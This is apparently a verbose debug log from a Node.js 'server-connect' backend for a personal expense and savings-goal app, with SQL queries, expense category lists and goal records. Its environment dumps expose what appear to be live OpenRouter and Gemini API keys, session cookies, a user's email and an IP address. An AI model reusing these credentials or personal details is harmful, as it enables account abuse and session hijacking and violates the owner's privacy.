    params: [ [Object], [Object], [Object], [Object], [Object], [Object] ]
  }
}
2026-02-24T12:05:59.155Z server-connect:output goal: { affected: 1, identity: 9 }
2026-02-24T12:05:59.155Z server-connect:app Executing action step condition
2026-02-24T12:05:59.155Z server-connect:app options: {
  if: '{{$_POST.opening_amount.toNumber()>0&&goal.identity}}',
  then: {
    steps: {
      name: 'opening_amount',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-24T12:05:59.155Z server-connect:output condition: undefined
2026-02-24T12:05:59.155Z server-connect:output condition: undefined
2026-02-24T12:05:59.404Z server-connect:router Serving templateView /goal
2026-02-24T12:05:59.404Z server-connect:app Executing action step identify
2026-02-24T12:05:59.404Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.404Z server-connect:output identity: 1
2026-02-24T12:05:59.404Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.404Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:05:59.405Z server-connect:output restrict: undefined
2026-02-24T12:05:59.405Z server-connect:router Render template layouts/main
2026-02-24T12:05:59.405Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-24T12:05:59.962Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:05:59.963Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:05:59.964Z server-connect:app Executing action step identify
2026-02-24T12:05:59.964Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.964Z server-connect:output identity: 1
2026-02-24T12:05:59.964Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:59.964Z server-connect:app Executing action step identify
2026-02-24T12:05:59.964Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.965Z server-connect:output identity: 1
2026-02-24T12:05:59.965Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.965Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:59.965Z server-connect:output restrict: undefined
2026-02-24T12:05:59.965Z server-connect:app Executing action step select
2026-02-24T12:05:59.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:05:59.966Z server-connect:output restrict: undefined
2026-02-24T12:05:59.966Z server-connect:app Executing action step single
2026-02-24T12:05:59.966Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:05:59.966Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:05:59.971Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:05:59.973Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:05:59.973Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:05:59.974Z server-connect:app Executing action step identify
2026-02-24T12:05:59.974Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.974Z server-connect:output identity: 1
2026-02-24T12:05:59.974Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.974Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:59.975Z server-connect:app Executing action step identify
2026-02-24T12:05:59.975Z server-connect:app options: { provider: 'security' }
2026-02-24T12:05:59.975Z server-connect:output identity: 1
2026-02-24T12:05:59.975Z server-connect:app Executing action step restrict
2026-02-24T12:05:59.975Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:05:59.976Z server-connect:output restrict: undefined
2026-02-24T12:05:59.976Z server-connect:app Executing action step paged
2026-02-24T12:05:59.976Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:05:59.976Z server-connect:output restrict: undefined
2026-02-24T12:05:59.977Z server-connect:app Executing action step custom
2026-02-24T12:05:59.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:05:59.978Z server-connect:output list: [
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '300000'
  }
]
2026-02-24T12:05:59.978Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-24T12:06:23.014Z server-connect:router Serving serverConnect /api/goals/manage
2026-02-24T12:06:23.015Z server-connect:app Executing action step identify
2026-02-24T12:06:23.015Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.015Z server-connect:output identity: 1
2026-02-24T12:06:23.015Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.015Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:23.016Z server-connect:output restrict: undefined
2026-02-24T12:06:23.016Z server-connect:app Executing action step condition
2026-02-24T12:06:23.016Z server-connect:app options: { if: '{{$_POST.target_id}}', else: { steps: [ [Object], [Object] ] } }
2026-02-24T12:06:23.016Z server-connect:app Executing action step insert
2026-02-24T12:06:23.016Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    table: 'target_master',
    returning: 'id',
    query: 'insert into `target_master` (`amount`, `category`, `created_on`, `description`, `name`, `userid`) values (?, ?, ?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object], [Object], [Object] ]
  }
}
2026-02-24T12:06:23.017Z server-connect:output goal: { affected: 1, identity: 10 }
2026-02-24T12:06:23.017Z server-connect:app Executing action step condition
2026-02-24T12:06:23.017Z server-connect:app options: {
  if: '{{$_POST.opening_amount.toNumber()>0&&goal.identity}}',
  then: {
    steps: {
      name: 'opening_amount',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-24T12:06:23.017Z server-connect:output condition: undefined
2026-02-24T12:06:23.017Z server-connect:output condition: undefined
2026-02-24T12:06:23.265Z server-connect:router Serving templateView /goal
2026-02-24T12:06:23.266Z server-connect:app Executing action step identify
2026-02-24T12:06:23.266Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.266Z server-connect:output identity: 1
2026-02-24T12:06:23.266Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.266Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:06:23.267Z server-connect:output restrict: undefined
2026-02-24T12:06:23.267Z server-connect:router Render template layouts/main
2026-02-24T12:06:23.267Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
